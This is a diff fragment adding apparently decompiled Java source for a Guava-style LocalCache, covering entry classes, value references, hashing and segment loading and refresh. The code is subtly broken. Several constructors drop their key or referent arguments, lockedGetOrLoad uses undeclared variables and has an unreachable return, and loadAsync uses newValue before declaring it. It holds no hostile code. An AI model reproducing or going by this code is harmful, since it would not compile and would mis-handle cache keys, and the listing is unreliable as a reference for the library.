+      return hash;
+    }
+    
+    public LocalCache.ReferenceEntry<K, V> getNext()
+    {
+      return next;
+    }
+  }
+  
+  static final class StrongAccessEntry<K, V> extends LocalCache.StrongEntry<K, V> {
+    StrongAccessEntry(K key, int hash, @Nullable LocalCache.ReferenceEntry<K, V> next) {
+      super(hash, next);
+    }
+    
+
+
+    volatile long accessTime = Long.MAX_VALUE;
+    
+    public long getAccessTime()
+    {
+      return accessTime;
+    }
+    
+
+
+    public void setAccessTime(long time) { accessTime = time; }
+    
+    @GuardedBy("Segment.this")
+    LocalCache.ReferenceEntry<K, V> nextAccess = LocalCache.nullEntry();
+    
+
+    public LocalCache.ReferenceEntry<K, V> getNextInAccessQueue()
+    {
+      return nextAccess;
+    }
+    
+
+
+    public void setNextInAccessQueue(LocalCache.ReferenceEntry<K, V> next) { nextAccess = next; }
+    
+    @GuardedBy("Segment.this")
+    LocalCache.ReferenceEntry<K, V> previousAccess = LocalCache.nullEntry();
+    
+
+    public LocalCache.ReferenceEntry<K, V> getPreviousInAccessQueue()
+    {
+      return previousAccess;
+    }
+    
+    public void setPreviousInAccessQueue(LocalCache.ReferenceEntry<K, V> previous)
+    {
+      previousAccess = previous;
+    }
+  }
+  
+  static final class StrongWriteEntry<K, V> extends LocalCache.StrongEntry<K, V> {
+    StrongWriteEntry(K key, int hash, @Nullable LocalCache.ReferenceEntry<K, V> next) {
+      super(hash, next);
+    }
+    
+
+
+    volatile long writeTime = Long.MAX_VALUE;
+    
+    public long getWriteTime()
+    {
+      return writeTime;
+    }
+    
+
+
+    public void setWriteTime(long time) { writeTime = time; }
+    
+    @GuardedBy("Segment.this")
+    LocalCache.ReferenceEntry<K, V> nextWrite = LocalCache.nullEntry();
+    
+
+    public LocalCache.ReferenceEntry<K, V> getNextInWriteQueue()
+    {
+      return nextWrite;
+    }
+    
+
+
+    public void setNextInWriteQueue(LocalCache.ReferenceEntry<K, V> next) { nextWrite = next; }
+    
+    @GuardedBy("Segment.this")
+    LocalCache.ReferenceEntry<K, V> previousWrite = LocalCache.nullEntry();
+    
+
+    public LocalCache.ReferenceEntry<K, V> getPreviousInWriteQueue()
+    {
+      return previousWrite;
+    }
+    
+    public void setPreviousInWriteQueue(LocalCache.ReferenceEntry<K, V> previous)
+    {
+      previousWrite = previous;
+    }
+  }
+  
+  static final class StrongAccessWriteEntry<K, V> extends LocalCache.StrongEntry<K, V> {
+    StrongAccessWriteEntry(K key, int hash, @Nullable LocalCache.ReferenceEntry<K, V> next) {
+      super(hash, next);
+    }
+    
+
+
+    volatile long accessTime = Long.MAX_VALUE;
+    
+    public long getAccessTime()
+    {
+      return accessTime;
+    }
+    
+
+
+    public void setAccessTime(long time) { accessTime = time; }
+    
+    @GuardedBy("Segment.this")
+    LocalCache.ReferenceEntry<K, V> nextAccess = LocalCache.nullEntry();
+    
+
+    public LocalCache.ReferenceEntry<K, V> getNextInAccessQueue()
+    {
+      return nextAccess;
+    }
+    
+
+
+    public void setNextInAccessQueue(LocalCache.ReferenceEntry<K, V> next) { nextAccess = next; }
+    
+    @GuardedBy("Segment.this")
+    LocalCache.ReferenceEntry<K, V> previousAccess = LocalCache.nullEntry();
+    
+
+    public LocalCache.ReferenceEntry<K, V> getPreviousInAccessQueue()
+    {
+      return previousAccess;
+    }
+    
+    public void setPreviousInAccessQueue(LocalCache.ReferenceEntry<K, V> previous)
+    {
+      previousAccess = previous;
+    }
+    
+
+
+    volatile long writeTime = Long.MAX_VALUE;
+    
+    public long getWriteTime()
+    {
+      return writeTime;
+    }
+    
+
+
+    public void setWriteTime(long time) { writeTime = time; }
+    
+    @GuardedBy("Segment.this")
+    LocalCache.ReferenceEntry<K, V> nextWrite = LocalCache.nullEntry();
+    
+
+    public LocalCache.ReferenceEntry<K, V> getNextInWriteQueue()
+    {
+      return nextWrite;
+    }
+    
+
+
+    public void setNextInWriteQueue(LocalCache.ReferenceEntry<K, V> next) { nextWrite = next; }
+    
+    @GuardedBy("Segment.this")
+    LocalCache.ReferenceEntry<K, V> previousWrite = LocalCache.nullEntry();
+    
+
+    public LocalCache.ReferenceEntry<K, V> getPreviousInWriteQueue()
+    {
+      return previousWrite;
+    }
+    
+    public void setPreviousInWriteQueue(LocalCache.ReferenceEntry<K, V> previous)
+    {
+      previousWrite = previous;
+    }
+  }
+  
+  static class WeakEntry<K, V> extends WeakReference<K> implements LocalCache.ReferenceEntry<K, V> {
+    final int hash;
+    final LocalCache.ReferenceEntry<K, V> next;
+    
+    WeakEntry(ReferenceQueue<K> queue, K key, int hash, @Nullable LocalCache.ReferenceEntry<K, V> next) {
+      super(queue);
+      this.hash = hash;
+      this.next = next;
+    }
+    
+    public K getKey()
+    {
+      return get();
+    }
+    
+
+
+
+
+
+
+
+    public long getAccessTime()
+    {
+      throw new UnsupportedOperationException();
+    }
+    
+    public void setAccessTime(long time)
+    {
+      throw new UnsupportedOperationException();
+    }
+    
+    public LocalCache.ReferenceEntry<K, V> getNextInAccessQueue()
+    {
+      throw new UnsupportedOperationException();
+    }
+    
+    public void setNextInAccessQueue(LocalCache.ReferenceEntry<K, V> next)
+    {
+      throw new UnsupportedOperationException();
+    }
+    
+    public LocalCache.ReferenceEntry<K, V> getPreviousInAccessQueue()
+    {
+      throw new UnsupportedOperationException();
+    }
+    
+    public void setPreviousInAccessQueue(LocalCache.ReferenceEntry<K, V> previous)
+    {
+      throw new UnsupportedOperationException();
+    }
+    
+
+
+    public long getWriteTime()
+    {
+      throw new UnsupportedOperationException();
+    }
+    
+    public void setWriteTime(long time)
+    {
+      throw new UnsupportedOperationException();
+    }
+    
+    public LocalCache.ReferenceEntry<K, V> getNextInWriteQueue()
+    {
+      throw new UnsupportedOperationException();
+    }
+    
+    public void setNextInWriteQueue(LocalCache.ReferenceEntry<K, V> next)
+    {
+      throw new UnsupportedOperationException();
+    }
+    
+    public LocalCache.ReferenceEntry<K, V> getPreviousInWriteQueue()
+    {
+      throw new UnsupportedOperationException();
+    }
+    
+    public void setPreviousInWriteQueue(LocalCache.ReferenceEntry<K, V> previous)
+    {
+      throw new UnsupportedOperationException();
+    }
+    
+
+
+
+
+    volatile LocalCache.ValueReference<K, V> valueReference = LocalCache.unset();
+    
+    public LocalCache.ValueReference<K, V> getValueReference()
+    {
+      return valueReference;
+    }
+    
+    public void setValueReference(LocalCache.ValueReference<K, V> valueReference)
+    {
+      this.valueReference = valueReference;
+    }
+    
+    public int getHash()
+    {
+      return hash;
+    }
+    
+    public LocalCache.ReferenceEntry<K, V> getNext()
+    {
+      return next;
+    }
+  }
+  
+  static final class WeakAccessEntry<K, V> extends LocalCache.WeakEntry<K, V>
+  {
+    WeakAccessEntry(ReferenceQueue<K> queue, K key, int hash, @Nullable LocalCache.ReferenceEntry<K, V> next) {
+      super(key, hash, next);
+    }
+    
+
+
+    volatile long accessTime = Long.MAX_VALUE;
+    
+    public long getAccessTime()
+    {
+      return accessTime;
+    }
+    
+
+
+    public void setAccessTime(long time) { accessTime = time; }
+    
+    @GuardedBy("Segment.this")
+    LocalCache.ReferenceEntry<K, V> nextAccess = LocalCache.nullEntry();
+    
+
+    public LocalCache.ReferenceEntry<K, V> getNextInAccessQueue()
+    {
+      return nextAccess;
+    }
+    
+
+
+    public void setNextInAccessQueue(LocalCache.ReferenceEntry<K, V> next) { nextAccess = next; }
+    
+    @GuardedBy("Segment.this")
+    LocalCache.ReferenceEntry<K, V> previousAccess = LocalCache.nullEntry();
+    
+
+    public LocalCache.ReferenceEntry<K, V> getPreviousInAccessQueue()
+    {
+      return previousAccess;
+    }
+    
+    public void setPreviousInAccessQueue(LocalCache.ReferenceEntry<K, V> previous)
+    {
+      previousAccess = previous;
+    }
+  }
+  
+  static final class WeakWriteEntry<K, V> extends LocalCache.WeakEntry<K, V>
+  {
+    WeakWriteEntry(ReferenceQueue<K> queue, K key, int hash, @Nullable LocalCache.ReferenceEntry<K, V> next) {
+      super(key, hash, next);
+    }
+    
+
+
+    volatile long writeTime = Long.MAX_VALUE;
+    
+    public long getWriteTime()
+    {
+      return writeTime;
+    }
+    
+
+
+    public void setWriteTime(long time) { writeTime = time; }
+    
+    @GuardedBy("Segment.this")
+    LocalCache.ReferenceEntry<K, V> nextWrite = LocalCache.nullEntry();
+    
+
+    public LocalCache.ReferenceEntry<K, V> getNextInWriteQueue()
+    {
+      return nextWrite;
+    }
+    
+
+
+    public void setNextInWriteQueue(LocalCache.ReferenceEntry<K, V> next) { nextWrite = next; }
+    
+    @GuardedBy("Segment.this")
+    LocalCache.ReferenceEntry<K, V> previousWrite = LocalCache.nullEntry();
+    
+
+    public LocalCache.ReferenceEntry<K, V> getPreviousInWriteQueue()
+    {
+      return previousWrite;
+    }
+    
+    public void setPreviousInWriteQueue(LocalCache.ReferenceEntry<K, V> previous)
+    {
+      previousWrite = previous;
+    }
+  }
+  
+  static final class WeakAccessWriteEntry<K, V> extends LocalCache.WeakEntry<K, V>
+  {
+    WeakAccessWriteEntry(ReferenceQueue<K> queue, K key, int hash, @Nullable LocalCache.ReferenceEntry<K, V> next) {
+      super(key, hash, next);
+    }
+    
+
+
+    volatile long accessTime = Long.MAX_VALUE;
+    
+    public long getAccessTime()
+    {
+      return accessTime;
+    }
+    
+
+
+    public void setAccessTime(long time) { accessTime = time; }
+    
+    @GuardedBy("Segment.this")
+    LocalCache.ReferenceEntry<K, V> nextAccess = LocalCache.nullEntry();
+    
+
+    public LocalCache.ReferenceEntry<K, V> getNextInAccessQueue()
+    {
+      return nextAccess;
+    }
+    
+
+
+    public void setNextInAccessQueue(LocalCache.ReferenceEntry<K, V> next) { nextAccess = next; }
+    
+    @GuardedBy("Segment.this")
+    LocalCache.ReferenceEntry<K, V> previousAccess = LocalCache.nullEntry();
+    
+
+    public LocalCache.ReferenceEntry<K, V> getPreviousInAccessQueue()
+    {
+      return previousAccess;
+    }
+    
+    public void setPreviousInAccessQueue(LocalCache.ReferenceEntry<K, V> previous)
+    {
+      previousAccess = previous;
+    }
+    
+
+
+    volatile long writeTime = Long.MAX_VALUE;
+    
+    public long getWriteTime()
+    {
+      return writeTime;
+    }
+    
+
+
+    public void setWriteTime(long time) { writeTime = time; }
+    
+    @GuardedBy("Segment.this")
+    LocalCache.ReferenceEntry<K, V> nextWrite = LocalCache.nullEntry();
+    
+
+    public LocalCache.ReferenceEntry<K, V> getNextInWriteQueue()
+    {
+      return nextWrite;
+    }
+    
+
+
+    public void setNextInWriteQueue(LocalCache.ReferenceEntry<K, V> next) { nextWrite = next; }
+    
+    @GuardedBy("Segment.this")
+    LocalCache.ReferenceEntry<K, V> previousWrite = LocalCache.nullEntry();
+    
+
+    public LocalCache.ReferenceEntry<K, V> getPreviousInWriteQueue()
+    {
+      return previousWrite;
+    }
+    
+    public void setPreviousInWriteQueue(LocalCache.ReferenceEntry<K, V> previous)
+    {
+      previousWrite = previous;
+    }
+  }
+  
+  static class WeakValueReference<K, V>
+    extends WeakReference<V>
+    implements LocalCache.ValueReference<K, V>
+  {
+    final LocalCache.ReferenceEntry<K, V> entry;
+    
+    WeakValueReference(ReferenceQueue<V> queue, V referent, LocalCache.ReferenceEntry<K, V> entry)
+    {
+      super(queue);
+      this.entry = entry;
+    }
+    
+    public int getWeight()
+    {
+      return 1;
+    }
+    
+    public LocalCache.ReferenceEntry<K, V> getEntry()
+    {
+      return entry;
+    }
+    
+
+    public void notifyNewValue(V newValue) {}
+    
+
+    public LocalCache.ValueReference<K, V> copyFor(ReferenceQueue<V> queue, V value, LocalCache.ReferenceEntry<K, V> entry)
+    {
+      return new WeakValueReference(queue, value, entry);
+    }
+    
+    public boolean isLoading()
+    {
+      return false;
+    }
+    
+    public boolean isActive()
+    {
+      return true;
+    }
+    
+    public V waitForValue()
+    {
+      return get();
+    }
+  }
+  
+  static class SoftValueReference<K, V>
+    extends SoftReference<V>
+    implements LocalCache.ValueReference<K, V>
+  {
+    final LocalCache.ReferenceEntry<K, V> entry;
+    
+    SoftValueReference(ReferenceQueue<V> queue, V referent, LocalCache.ReferenceEntry<K, V> entry)
+    {
+      super(queue);
+      this.entry = entry;
+    }
+    
+    public int getWeight()
+    {
+      return 1;
+    }
+    
+    public LocalCache.ReferenceEntry<K, V> getEntry()
+    {
+      return entry;
+    }
+    
+
+    public void notifyNewValue(V newValue) {}
+    
+
+    public LocalCache.ValueReference<K, V> copyFor(ReferenceQueue<V> queue, V value, LocalCache.ReferenceEntry<K, V> entry)
+    {
+      return new SoftValueReference(queue, value, entry);
+    }
+    
+    public boolean isLoading()
+    {
+      return false;
+    }
+    
+    public boolean isActive()
+    {
+      return true;
+    }
+    
+    public V waitForValue()
+    {
+      return get();
+    }
+  }
+  
+  static class StrongValueReference<K, V>
+    implements LocalCache.ValueReference<K, V>
+  {
+    final V referent;
+    
+    StrongValueReference(V referent)
+    {
+      this.referent = referent;
+    }
+    
+    public V get()
+    {
+      return referent;
+    }
+    
+    public int getWeight()
+    {
+      return 1;
+    }
+    
+    public LocalCache.ReferenceEntry<K, V> getEntry()
+    {
+      return null;
+    }
+    
+
+    public LocalCache.ValueReference<K, V> copyFor(ReferenceQueue<V> queue, V value, LocalCache.ReferenceEntry<K, V> entry)
+    {
+      return this;
+    }
+    
+    public boolean isLoading()
+    {
+      return false;
+    }
+    
+    public boolean isActive()
+    {
+      return true;
+    }
+    
+    public V waitForValue()
+    {
+      return get();
+    }
+    
+
+    public void notifyNewValue(V newValue) {}
+  }
+  
+
+  static final class WeightedWeakValueReference<K, V>
+    extends LocalCache.WeakValueReference<K, V>
+  {
+    final int weight;
+    
+    WeightedWeakValueReference(ReferenceQueue<V> queue, V referent, LocalCache.ReferenceEntry<K, V> entry, int weight)
+    {
+      super(referent, entry);
+      this.weight = weight;
+    }
+    
+    public int getWeight()
+    {
+      return weight;
+    }
+    
+
+    public LocalCache.ValueReference<K, V> copyFor(ReferenceQueue<V> queue, V value, LocalCache.ReferenceEntry<K, V> entry)
+    {
+      return new WeightedWeakValueReference(queue, value, entry, weight);
+    }
+  }
+  
+
+  static final class WeightedSoftValueReference<K, V>
+    extends LocalCache.SoftValueReference<K, V>
+  {
+    final int weight;
+    
+    WeightedSoftValueReference(ReferenceQueue<V> queue, V referent, LocalCache.ReferenceEntry<K, V> entry, int weight)
+    {
+      super(referent, entry);
+      this.weight = weight;
+    }
+    
+    public int getWeight()
+    {
+      return weight;
+    }
+    
+    public LocalCache.ValueReference<K, V> copyFor(ReferenceQueue<V> queue, V value, LocalCache.ReferenceEntry<K, V> entry)
+    {
+      return new WeightedSoftValueReference(queue, value, entry, weight);
+    }
+  }
+  
+
+  static final class WeightedStrongValueReference<K, V>
+    extends LocalCache.StrongValueReference<K, V>
+  {
+    final int weight;
+    
+    WeightedStrongValueReference(V referent, int weight)
+    {
+      super();
+      this.weight = weight;
+    }
+    
+    public int getWeight()
+    {
+      return weight;
+    }
+  }
+  
+
+
+
+
+
+
+
+
+
+
+  static int rehash(int h)
+  {
+    h += (h << 15 ^ 0xCD7D);
+    h ^= h >>> 10;
+    h += (h << 3);
+    h ^= h >>> 6;
+    h += (h << 2) + (h << 14);
+    return h ^ h >>> 16;
+  }
+  
+
+
+  @GuardedBy("Segment.this")
+  @VisibleForTesting
+  ReferenceEntry<K, V> newEntry(K key, int hash, @Nullable ReferenceEntry<K, V> next)
+  {
+    return segmentFor(hash).newEntry(key, hash, next);
+  }
+  
+
+
+  @GuardedBy("Segment.this")
+  @VisibleForTesting
+  ReferenceEntry<K, V> copyEntry(ReferenceEntry<K, V> original, ReferenceEntry<K, V> newNext)
+  {
+    int hash = original.getHash();
+    return segmentFor(hash).copyEntry(original, newNext);
+  }
+  
+
+
+  @GuardedBy("Segment.this")
+  @VisibleForTesting
+  ValueReference<K, V> newValueReference(ReferenceEntry<K, V> entry, V value, int weight)
+  {
+    int hash = entry.getHash();
+    return valueStrength.referenceValue(segmentFor(hash), entry, Preconditions.checkNotNull(value), weight);
+  }
+  
+  int hash(@Nullable Object key) {
+    int h = keyEquivalence.hash(key);
+    return rehash(h);
+  }
+  
+  void reclaimValue(ValueReference<K, V> valueReference) {
+    ReferenceEntry<K, V> entry = valueReference.getEntry();
+    int hash = entry.getHash();
+    segmentFor(hash).reclaimValue(entry.getKey(), hash, valueReference);
+  }
+  
+  void reclaimKey(ReferenceEntry<K, V> entry) {
+    int hash = entry.getHash();
+    segmentFor(hash).reclaimKey(entry, hash);
+  }
+  
+
+
+
+  @VisibleForTesting
+  boolean isLive(ReferenceEntry<K, V> entry, long now)
+  {
+    return segmentFor(entry.getHash()).getLiveValue(entry, now) != null;
+  }
+  
+
+
+
+
+
+
+  Segment<K, V> segmentFor(int hash)
+  {
+    return segments[(hash >>> segmentShift & segmentMask)];
+  }
+  
+  Segment<K, V> createSegment(int initialCapacity, long maxSegmentWeight, AbstractCache.StatsCounter statsCounter)
+  {
+    return new Segment(this, initialCapacity, maxSegmentWeight, statsCounter);
+  }
+  
+
+
+
+
+
+  @Nullable
+  V getLiveValue(ReferenceEntry<K, V> entry, long now)
+  {
+    if (entry.getKey() == null) {
+      return null;
+    }
+    V value = entry.getValueReference().get();
+    if (value == null) {
+      return null;
+    }
+    
+    if (isExpired(entry, now)) {
+      return null;
+    }
+    return value;
+  }
+  
+
+
+
+
+  boolean isExpired(ReferenceEntry<K, V> entry, long now)
+  {
+    Preconditions.checkNotNull(entry);
+    if ((expiresAfterAccess()) && (now - entry.getAccessTime() >= expireAfterAccessNanos))
+    {
+      return true;
+    }
+    if ((expiresAfterWrite()) && (now - entry.getWriteTime() >= expireAfterWriteNanos))
+    {
+      return true;
+    }
+    return false;
+  }
+  
+
+  @GuardedBy("Segment.this")
+  static <K, V> void connectAccessOrder(ReferenceEntry<K, V> previous, ReferenceEntry<K, V> next)
+  {
+    previous.setNextInAccessQueue(next);
+    next.setPreviousInAccessQueue(previous);
+  }
+  
+  @GuardedBy("Segment.this")
+  static <K, V> void nullifyAccessOrder(ReferenceEntry<K, V> nulled) {
+    ReferenceEntry<K, V> nullEntry = nullEntry();
+    nulled.setNextInAccessQueue(nullEntry);
+    nulled.setPreviousInAccessQueue(nullEntry);
+  }
+  
+  @GuardedBy("Segment.this")
+  static <K, V> void connectWriteOrder(ReferenceEntry<K, V> previous, ReferenceEntry<K, V> next) {
+    previous.setNextInWriteQueue(next);
+    next.setPreviousInWriteQueue(previous);
+  }
+  
+  @GuardedBy("Segment.this")
+  static <K, V> void nullifyWriteOrder(ReferenceEntry<K, V> nulled) {
+    ReferenceEntry<K, V> nullEntry = nullEntry();
+    nulled.setNextInWriteQueue(nullEntry);
+    nulled.setPreviousInWriteQueue(nullEntry);
+  }
+  
+
+
+  void processPendingNotifications()
+  {
+    RemovalNotification<K, V> notification;
+    
+
+    while ((notification = (RemovalNotification)removalNotificationQueue.poll()) != null) {
+      try {
+        removalListener.onRemoval(notification);
+      } catch (Throwable e) {
+        logger.log(Level.WARNING, "Exception thrown by removal listener", e);
+      }
+    }
+  }
+  
+  final Segment<K, V>[] newSegmentArray(int ssize)
+  {
+    return new Segment[ssize];
+  }
+  
+
+
+
+
+
+
+
+
+  static class Segment<K, V>
+    extends ReentrantLock
+  {
+    final LocalCache<K, V> map;
+    
+
+
+
+
+
+
+
+    volatile int count;
+    
+
+
+
+
+
+
+
+    @GuardedBy("Segment.this")
+    int totalWeight;
+    
+
+
+
+
+
+
+
+    int modCount;
+    
+
+
+
+
+
+
+
+    int threshold;
+    
+
+
+
+
+
+
+
+    volatile AtomicReferenceArray<LocalCache.ReferenceEntry<K, V>> table;
+    
+
+
+
+
+
+
+
+    final long maxSegmentWeight;
+    
+
+
+
+
+
+
+
+    final ReferenceQueue<K> keyReferenceQueue;
+    
+
+
+
+
+
+
+
+    final ReferenceQueue<V> valueReferenceQueue;
+    
+
+
+
+
+
+
+
+    final Queue<LocalCache.ReferenceEntry<K, V>> recencyQueue;
+    
+
+
+
+
+
+
+
+    final AtomicInteger readCount = new AtomicInteger();
+    
+
+
+    @GuardedBy("Segment.this")
+    final Queue<LocalCache.ReferenceEntry<K, V>> writeQueue;
+    
+
+
+    @GuardedBy("Segment.this")
+    final Queue<LocalCache.ReferenceEntry<K, V>> accessQueue;
+    
+
+
+    final AbstractCache.StatsCounter statsCounter;
+    
+
+
+
+    Segment(LocalCache<K, V> map, int initialCapacity, long maxSegmentWeight, AbstractCache.StatsCounter statsCounter)
+    {
+      this.map = map;
+      this.maxSegmentWeight = maxSegmentWeight;
+      this.statsCounter = ((AbstractCache.StatsCounter)Preconditions.checkNotNull(statsCounter));
+      initTable(newEntryArray(initialCapacity));
+      
+      keyReferenceQueue = (map.usesKeyReferences() ? new ReferenceQueue() : null);
+      
+
+      valueReferenceQueue = (map.usesValueReferences() ? new ReferenceQueue() : null);
+      
+
+      recencyQueue = (map.usesAccessQueue() ? new ConcurrentLinkedQueue() : LocalCache.discardingQueue());
+      
+
+
+      writeQueue = (map.usesWriteQueue() ? new LocalCache.WriteQueue() : LocalCache.discardingQueue());
+      
+
+
+      accessQueue = (map.usesAccessQueue() ? new LocalCache.AccessQueue() : LocalCache.discardingQueue());
+    }
+    
+
+    AtomicReferenceArray<LocalCache.ReferenceEntry<K, V>> newEntryArray(int size)
+    {
+      return new AtomicReferenceArray(size);
+    }
+    
+    void initTable(AtomicReferenceArray<LocalCache.ReferenceEntry<K, V>> newTable) {
+      threshold = (newTable.length() * 3 / 4);
+      if ((!map.customWeigher()) && (threshold == maxSegmentWeight))
+      {
+        threshold += 1;
+      }
+      table = newTable;
+    }
+    
+    @GuardedBy("Segment.this")
+    LocalCache.ReferenceEntry<K, V> newEntry(K key, int hash, @Nullable LocalCache.ReferenceEntry<K, V> next) {
+      return map.entryFactory.newEntry(this, Preconditions.checkNotNull(key), hash, next);
+    }
+    
+
+
+
+    @GuardedBy("Segment.this")
+    LocalCache.ReferenceEntry<K, V> copyEntry(LocalCache.ReferenceEntry<K, V> original, LocalCache.ReferenceEntry<K, V> newNext)
+    {
+      if (original.getKey() == null)
+      {
+        return null;
+      }
+      
+      LocalCache.ValueReference<K, V> valueReference = original.getValueReference();
+      V value = valueReference.get();
+      if ((value == null) && (valueReference.isActive()))
+      {
+        return null;
+      }
+      
+      LocalCache.ReferenceEntry<K, V> newEntry = map.entryFactory.copyEntry(this, original, newNext);
+      newEntry.setValueReference(valueReference.copyFor(valueReferenceQueue, value, newEntry));
+      return newEntry;
+    }
+    
+
+
+    @GuardedBy("Segment.this")
+    void setValue(LocalCache.ReferenceEntry<K, V> entry, K key, V value, long now)
+    {
+      LocalCache.ValueReference<K, V> previous = entry.getValueReference();
+      int weight = map.weigher.weigh(key, value);
+      Preconditions.checkState(weight >= 0, "Weights must be non-negative");
+      
+      LocalCache.ValueReference<K, V> valueReference = map.valueStrength.referenceValue(this, entry, value, weight);
+      
+      entry.setValueReference(valueReference);
+      recordWrite(entry, weight, now);
+      previous.notifyNewValue(value);
+    }
+    
+    V get(K key, int hash, CacheLoader<? super K, V> loader)
+      throws ExecutionException
+    {
+      Preconditions.checkNotNull(key);
+      Preconditions.checkNotNull(loader);
+      try { LocalCache.ReferenceEntry<K, V> e;
+        if (count != 0)
+        {
+          e = getEntry(key, hash);
+          if (e != null) {
+            long now = map.ticker.read();
+            V value = getLiveValue(e, now);
+            if (value != null) {
+              recordRead(e, now);
+              statsCounter.recordHits(1);
+              return scheduleRefresh(e, key, hash, value, now, loader);
+            }
+            Object valueReference = e.getValueReference();
+            if (((LocalCache.ValueReference)valueReference).isLoading()) {
+              return waitForLoadingValue(e, key, (LocalCache.ValueReference)valueReference);
+            }
+          }
+        }
+        
+
+        return lockedGetOrLoad(key, hash, loader);
+      } catch (ExecutionException ee) {
+        Throwable cause = ee.getCause();
+        if ((cause instanceof Error))
+          throw new ExecutionError((Error)cause);
+        if ((cause instanceof RuntimeException)) {
+          throw new UncheckedExecutionException(cause);
+        }
+        throw ee;
+      } finally {
+        postReadCleanup();
+      }
+    }
+    
+    V lockedGetOrLoad(K key, int hash, CacheLoader<? super K, V> loader)
+      throws ExecutionException
+    {
+      valueReference = null;
+      LocalCache.LoadingValueReference<K, V> loadingValueReference = null;
+      boolean createNewEntry = true;
+      
+      lock();
+      try
+      {
+        long now = map.ticker.read();
+        preWriteCleanup(now);
+        
+        int newCount = count - 1;
+        AtomicReferenceArray<LocalCache.ReferenceEntry<K, V>> table = this.table;
+        int index = hash & table.length() - 1;
+        LocalCache.ReferenceEntry<K, V> first = (LocalCache.ReferenceEntry)table.get(index);
+        
+        for (e = first; e != null; e = e.getNext()) {
+          K entryKey = e.getKey();
+          if ((e.getHash() == hash) && (entryKey != null) && (map.keyEquivalence.equivalent(key, entryKey)))
+          {
+            valueReference = e.getValueReference();
+            if (valueReference.isLoading()) {
+              createNewEntry = false; break;
+            }
+            V value = valueReference.get();
+            if (value == null) {
+              enqueueNotification(entryKey, hash, valueReference, RemovalCause.COLLECTED);
+            } else if (map.isExpired(e, now))
+            {
+
+              enqueueNotification(entryKey, hash, valueReference, RemovalCause.EXPIRED);
+            } else {
+              recordLockedRead(e, now);
+              statsCounter.recordHits(1);
+              
+              return value;
+            }
+            
+
+            writeQueue.remove(e);
+            accessQueue.remove(e);
+            count = newCount;
+            
+            break;
+          }
+        }
+        
+        if (createNewEntry) {
+          loadingValueReference = new LocalCache.LoadingValueReference();
+          
+          if (e == null) {
+            e = newEntry(key, hash, first);
+            e.setValueReference(loadingValueReference);
+            table.set(index, e);
+          } else {
+            e.setValueReference(loadingValueReference);
+          }
+        }
+      } finally {
+        unlock();
+        postWriteCleanup();
+      }
+      
+      if (createNewEntry)
+      {
+        try
+        {
+
+          synchronized (e) {
+            return loadSync(key, hash, loadingValueReference, loader);
+          }
+          
+
+
+
+
+          return waitForLoadingValue(e, key, valueReference);
+        }
+        finally
+        {
+          statsCounter.recordMisses(1);
+        }
+      }
+    }
+    
+
+
+    V waitForLoadingValue(LocalCache.ReferenceEntry<K, V> e, K key, LocalCache.ValueReference<K, V> valueReference)
+      throws ExecutionException
+    {
+      if (!valueReference.isLoading()) {
+        throw new AssertionError();
+      }
+      
+      Preconditions.checkState(!Thread.holdsLock(e), "Recursive load of: %s", new Object[] { key });
+      try
+      {
+        V value = valueReference.waitForValue();
+        if (value == null) {
+          throw new CacheLoader.InvalidCacheLoadException("CacheLoader returned null for key " + key + ".");
+        }
+        
+        long now = map.ticker.read();
+        recordRead(e, now);
+        return value;
+      } finally {
+        statsCounter.recordMisses(1);
+      }
+    }
+    
+
+    V loadSync(K key, int hash, LocalCache.LoadingValueReference<K, V> loadingValueReference, CacheLoader<? super K, V> loader)
+      throws ExecutionException
+    {
+      ListenableFuture<V> loadingFuture = loadingValueReference.loadFuture(key, loader);
+      return getAndRecordStats(key, hash, loadingValueReference, loadingFuture);
+    }
+    
+    ListenableFuture<V> loadAsync(final K key, final int hash, final LocalCache.LoadingValueReference<K, V> loadingValueReference, CacheLoader<? super K, V> loader)
+    {
+      final ListenableFuture<V> loadingFuture = loadingValueReference.loadFuture(key, loader);
+      loadingFuture.addListener(new Runnable()
+      {
+        public void run()
+        {
+          try {
+            newValue = getAndRecordStats(key, hash, loadingValueReference, loadingFuture);
+          } catch (Throwable t) { V newValue;
+            LocalCache.logger.log(Level.WARNING, "Exception thrown during refresh", t);
+            loadingValueReference.setException(t); } } }, LocalCache.sameThreadExecutor);
+      
+
+
+      return loadingFuture;
+    }
+    
+
+
+    V getAndRecordStats(K key, int hash, LocalCache.LoadingValueReference<K, V> loadingValueReference, ListenableFuture<V> newValue)
+      throws ExecutionException
+    {
+      V value = null;
+      try {
+        value = Uninterruptibles.getUninterruptibly(newValue);
+        if (value == null) {
+          throw new CacheLoader.InvalidCacheLoadException("CacheLoader returned null for key " + key + ".");
+        }
+        statsCounter.recordLoadSuccess(loadingValueReference.elapsedNanos());
+        storeLoadedValue(key, hash, loadingValueReference, value);
+        return value;
+      } finally {
+        if (value == null) {
+          statsCounter.recordLoadException(loadingValueReference.elapsedNanos());
+          removeLoadingValue(key, hash, loadingValueReference);
+        }
+      }
+    }
+    
+    V scheduleRefresh(LocalCache.ReferenceEntry<K, V> entry, K key, int hash, V oldValue, long now, CacheLoader<? super K, V> loader)
+    {
+      if ((map.refreshes()) && (now - entry.getWriteTime() > map.refreshNanos) && (!entry.getValueReference().isLoading()))
+      {
+        V newValue = refresh(key, hash, loader, true);
+        if (newValue != null) {
+          return newValue;
+        }
+      }
+      return oldValue;
+    }
+    
+
+
+
+
+
+    @Nullable
+    V refresh(K key, int hash, CacheLoader<? super K, V> loader, boolean checkTime)
+    {
+      LocalCache.LoadingValueReference<K, V> loadingValueReference = insertLoadingValueReference(key, hash, checkTime);
+      
+      if (loadingValueReference == null) {
+        return null;
+      }
+      
+      ListenableFuture<V> result = loadAsync(key, hash, loadingValueReference, loader);
+      if (result.isDone()) {
+        try {
+          return Uninterruptibles.getUninterruptibly(result);
+        }
+        catch (Throwable t) {}
+      }
+      
+      return null;
+    }
+    
+
+
+
+
+    @Nullable
+    LocalCache.LoadingValueReference<K, V> insertLoadingValueReference(K key, int hash, boolean checkTime)
+    {
+      LocalCache.ReferenceEntry<K, V> e = null;
+      lock();
+      try {
+        long now = map.ticker.read();
+        preWriteCleanup(now);
+        
+        AtomicReferenceArray<LocalCache.ReferenceEntry<K, V>> table = this.table;
+        int index = hash & table.length() - 1;
+        LocalCache.ReferenceEntry<K, V> first = (LocalCache.ReferenceEntry)table.get(index);
+        
+        LocalCache.ValueReference<K, V> valueReference;
+        for (e = first; e != null; e = e.getNext()) {
+          K entryKey = e.getKey();
+          if ((e.getHash() == hash) && (entryKey != null) && (map.keyEquivalence.equivalent(key, entryKey)))
+          {
+
+
+            valueReference = e.getValueReference();
